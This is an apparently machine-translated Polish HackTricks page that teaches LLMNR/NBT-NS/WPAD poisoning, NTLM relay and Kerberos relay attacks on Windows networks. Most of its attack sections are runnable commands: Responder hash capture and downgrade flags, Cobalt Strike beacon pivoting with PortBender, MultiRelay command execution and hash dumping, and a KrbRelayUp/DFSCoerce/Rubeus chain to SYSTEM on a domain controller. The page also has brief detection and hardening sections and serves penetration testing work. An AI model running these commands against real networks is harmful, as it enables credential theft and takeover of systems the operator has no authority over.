Spoofing LLMNR, NBT-NS, mDNS/DNS i WPAD oraz ataki relayowe
Reading time: 11 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Protokoły sieciowe
Protokoły lokalnej rozdzielczości hosta
- LLMNR, NBT-NS i mDNS:
- Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnej rozdzielczości nazw, gdy DNS zawiedzie. Podobnie, systemy Apple i Linux używają mDNS.
- Protokoły te są podatne na przechwytywanie i spoofing z powodu ich nieautoryzowanej, rozgłoszeniowej natury w UDP.
- Responder może być używany do podszywania się pod usługi, wysyłając sfałszowane odpowiedzi do hostów zapytujących te protokoły.
- Dalsze informacje na temat podszywania się pod usługi za pomocą Respondera można znaleźć tutaj.
Protokół automatycznego odkrywania proxy w sieci (WPAD)
- WPAD pozwala przeglądarkom na automatyczne odkrywanie ustawień proxy.
- Odkrywanie jest ułatwione przez DHCP, DNS lub przejście do LLMNR i NBT-NS, jeśli DNS zawiedzie.
- Responder może automatyzować ataki WPAD, kierując klientów do złośliwych serwerów WPAD.
Responder do zatruwania protokołów
- Responder to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadając na podstawie typów zapytań, głównie celując w usługi SMB.
- Jest preinstalowane w Kali Linux, konfigurowalne w
/etc/responder/Responder.conf
. - Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu
/usr/share/responder/logs
. - Obsługuje zarówno IPv4, jak i IPv6.
- Wersja Windows Respondera jest dostępna tutaj.
Uruchamianie Respondera
- Aby uruchomić Responder z domyślnymi ustawieniami:
responder -I <Interface>
- Dla bardziej agresywnego skanowania (z potencjalnymi skutkami ubocznymi):
responder -I <Interface> -P -r -v
- Techniki przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania:
responder -I <Interface> --lm --disable-ess
- Podszywanie się pod WPAD można aktywować za pomocą:
responder -I <Interface> --wpad
- Żądania NetBIOS mogą być rozwiązywane do IP atakującego, a proxy uwierzytelniające można skonfigurować:
responder.py -I <interface> -Pv
Zatruwanie DHCP za pomocą Respondera
- Podszywanie się pod odpowiedzi DHCP może na stałe zatruć informacje o trasowaniu ofiary, oferując bardziej dyskretną alternatywę dla zatruwania ARP.
- Wymaga to dokładnej wiedzy o konfiguracji sieci docelowej.
- Uruchamianie ataku:
./Responder.py -I eth0 -Pdv
- Ta metoda może skutecznie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego podejścia, aby uniknąć zakłóceń w sieci.
Przechwytywanie poświadczeń za pomocą Respondera
- Responder będzie podszywał się pod usługi korzystające z wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik próbuje uwierzytelnić się w podszywających się usługach.
- Można próbować obniżyć wersję do NetNTLMv1 lub wyłączyć ESS dla łatwiejszego łamania poświadczeń.
Ważne jest, aby zauważyć, że stosowanie tych technik powinno odbywać się legalnie i etycznie, zapewniając odpowiednie upoważnienie i unikając zakłóceń lub nieautoryzowanego dostępu.
Inveigh
Inveigh to narzędzie dla testerów penetracyjnych i zespołów red, zaprojektowane dla systemów Windows. Oferuje funkcjonalności podobne do Respondera, wykonując ataki spoofingowe i man-in-the-middle. Narzędzie ewoluowało z skryptu PowerShell do binarnego pliku C#, z Inveigh i InveighZero jako głównymi wersjami. Szczegółowe parametry i instrukcje można znaleźć w wiki.
Inveigh można obsługiwać za pomocą PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
Lub wykonane jako binarny plik C#:
Inveigh.exe
NTLM Relay Attack
Atak ten wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do docelowej maszyny, przyznając powłokę systemową w przypadku sukcesu. Kluczowe wymagania wstępne obejmują:
- Użytkownik uwierzytelniający musi mieć dostęp lokalnego administratora na hostie, na który jest przekazywane połączenie.
- Podpisywanie SMB powinno być wyłączone.
445 Port Forwarding and Tunneling
W scenariuszach, w których bezpośrednie wprowadzenie do sieci nie jest możliwe, ruch na porcie 445 musi być przekierowany i tunelowany. Narzędzia takie jak PortBender pomagają w przekierowywaniu ruchu na porcie 445 do innego portu, co jest niezbędne, gdy dostęp lokalnego administratora jest dostępny do ładowania sterowników.
PortBender setup and operation in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Inne narzędzia do ataku NTLM Relay
- Metasploit: Skonfigurowany z proxy, szczegółami lokalnych i zdalnych hostów.
- smbrelayx: Skrypt w Pythonie do relaying sesji SMB i wykonywania poleceń lub wdrażania backdoorów.
- MultiRelay: Narzędzie z pakietu Responder do relaying konkretnych użytkowników lub wszystkich użytkowników, wykonywania poleceń lub zrzucania hashy.
Każde narzędzie można skonfigurować do działania przez proxy SOCKS, jeśli to konieczne, co umożliwia ataki nawet przy pośrednim dostępie do sieci.
Działanie MultiRelay
MultiRelay jest uruchamiane z katalogu /usr/share/responder/tools, celując w konkretne adresy IP lub użytkowników.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Te narzędzia i techniki tworzą kompleksowy zestaw do przeprowadzania ataków NTLM Relay w różnych środowiskach sieciowych.
Wymuszanie logowania NTLM
W systemie Windows możesz być w stanie wymusić, aby niektóre uprzywilejowane konta uwierzytelniały się na dowolnych maszynach. Przeczytaj następującą stronę, aby dowiedzieć się jak:
Force NTLM Privileged Authentication
Atak Kerberos Relay
Atak Kerberos relay kradnie bilet AP-REQ z jednej usługi i ponownie go wykorzystuje przeciwko drugiej usłudze, która dzieli ten sam klucz konta komputera (ponieważ oba SPN znajdują się na tym samym koncie maszyny $
). Działa to, mimo że klasy usług SPN różnią się (np. CIFS/
→ LDAP/
), ponieważ klucz, który odszyfrowuje bilet, to NT hash maszyny, a nie sam ciąg SPN, a ciąg SPN nie jest częścią podpisu.
W przeciwieństwie do NTLM relay, skok jest ograniczony do tej samej hosta, ale jeśli celujesz w protokół, który pozwala na zapis do LDAP, możesz połączyć się z Resource-Based Constrained Delegation (RBCD) lub AD CS enrollment i uzyskać NT AUTHORITY\SYSTEM za jednym razem.
Aby uzyskać szczegółowe informacje na temat tego ataku, sprawdź:
-
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
-
https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/
-
- Podstawy Kerberos
Token | Cel | Znaczenie dla relay |
---|---|---|
TGT / AS-REQ ↔ REP | Udowadnia użytkownika KDC | nietknięty |
Bilet usługi / TGS-REQ ↔ REP | Powiązany z jednym SPN; zaszyfrowany kluczem właściciela SPN | wymienny, jeśli SPN dzielą konto |
AP-REQ | Klient wysyła TGS do usługi | to, co kradniemy i odtwarzamy |
- Bilety są szyfrowane kluczem pochodzącym z hasła konta, które posiada SPN.
- Authenticator wewnątrz AP-REQ ma znacznik czasu 5 minut; odtworzenie w tym oknie jest ważne, dopóki pamięć podręczna usługi nie zobaczy duplikatu.
- Windows rzadko sprawdza, czy ciąg SPN w bilecie pasuje do usługi, którą trafiasz, więc bilet dla
CIFS/HOST
normalnie odszyfrowuje się poprawnie naLDAP/HOST
.
-
- Co musi być prawdą, aby przekazać Kerberos
- Wspólny klucz: źródłowe i docelowe SPN należą do tego samego konta komputera (domyślnie na serwerach Windows).
- Brak ochrony kanału: SMB/LDAP podpisy wyłączone i EPA wyłączone dla HTTP/LDAPS.
- Możesz przechwycić lub wymusić uwierzytelnienie: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fałszywy AuthIP, rogue DCOM, itd.
- Źródło biletu nie zostało już użyte: wygrywasz wyścig, zanim prawdziwy pakiet dotrze lub blokujesz go całkowicie; w przeciwnym razie pamięć podręczna serwera odtwarza zdarzenie 4649.
- Musisz w jakiś sposób być w stanie przeprowadzić MitM w komunikacji, być może będąc częścią grupy DNSAmins, aby zmodyfikować DNS domeny lub być w stanie zmienić plik HOST ofiary.
Kroki ataku Kerberos Relay
- 3.1 Rozpoznanie hosta
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
- 3.2 Uruchom nasłuchiwacz przekazywania
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
KrbRelayUp
opakowuje KrbRelay → LDAP → RBCD → Rubeus → SCM bypass w jednym pliku binarnym.
- 3.3 Wymuszenie uwierzytelnienia Kerberos
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
DFSCoerce sprawia, że DC wysyła nam bilet Kerberos CIFS/DC01
.
- 3.4 Przekaż AP-REQ
KrbRelay wyodrębnia blob GSS z SMB, pakuje go ponownie w bind LDAP i przesyła do ldap://DC01
—uwierzytelnienie się udaje, ponieważ ten sam klucz go deszyfruje.
- 3.5 Wykorzystaj LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
You now own NT AUTHORITY\SYSTEM.
Więcej ścieżek, które warto znać
Wektor | Sztuczka | Dlaczego to ma znaczenie |
---|---|---|
AuthIP / IPSec | Fałszywy serwer wysyła ładunek GSS-ID z dowolnym SPN; klient buduje AP-REQ bezpośrednio do ciebie | Działa nawet w różnych podsieciach; domyślne poświadczenia maszyny |
DCOM / MSRPC | Złośliwy resolver OXID zmusza klienta do uwierzytelnienia do dowolnego SPN i portu | Czyste lokalne podniesienie uprawnień; omija zaporę |
AD CS Web Enroll | Przekaż bilet maszyny do HTTP/CA i zdobądź certyfikat, następnie PKINIT do wyprodukowania TGT | Omija zabezpieczenia podpisywania LDAP |
Shadow Credentials | Zapisz msDS-KeyCredentialLink , następnie PKINIT z fałszywą parą kluczy | Nie ma potrzeby dodawania konta komputera |
Rozwiązywanie problemów
Błąd | Znaczenie | Naprawa |
---|---|---|
KRB_AP_ERR_MODIFIED | Klucz biletu ≠ klucz docelowy | Zły host/SPN |
KRB_AP_ERR_SKEW | Zegar > 5 min różnicy | Synchronizuj czas lub użyj w32tm |
Niepowodzenie bindowania LDAP | Wymuszone podpisywanie | Użyj ścieżki AD CS lub wyłącz podpisywanie |
Spam zdarzeń 4649 | Usługa zauważyła duplikat Authenticator | zablokuj lub wyściguj oryginalny pakiet |
Wykrywanie
- Wzrost w Zdarzeniu 4769 dla
CIFS/
,HTTP/
,LDAP/
z tego samego źródła w ciągu kilku sekund. - Zdarzenie 4649 na usłudze wskazuje na wykrycie powtórzenia.
- Logowanie Kerberos z 127.0.0.1 (przekazywanie do lokalnego SCM) jest bardzo podejrzane—mapuj za pomocą reguły Sigma w dokumentach KrbRelayUp.
- Obserwuj zmiany w atrybutach
msDS-AllowedToActOnBehalfOfOtherIdentity
lubmsDS-KeyCredentialLink
.
Wzmacnianie zabezpieczeń
- Wymuś podpisywanie LDAP i SMB + EPA na każdym serwerze.
- Podziel SPN tak, aby HTTP nie było na tym samym koncie co CIFS/LDAP.
- Łatki dla wektorów przymusu (PetitPotam KB5005413, DFS, AuthIP).
- Ustaw
ms-DS-MachineAccountQuota = 0
aby zatrzymać nieautoryzowane dołączenia komputerów. - Powiadamiaj o Zdarzeniu 4649 i nieoczekiwanych logowaniach Kerberos z pętli zwrotnej.
Odniesienia
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.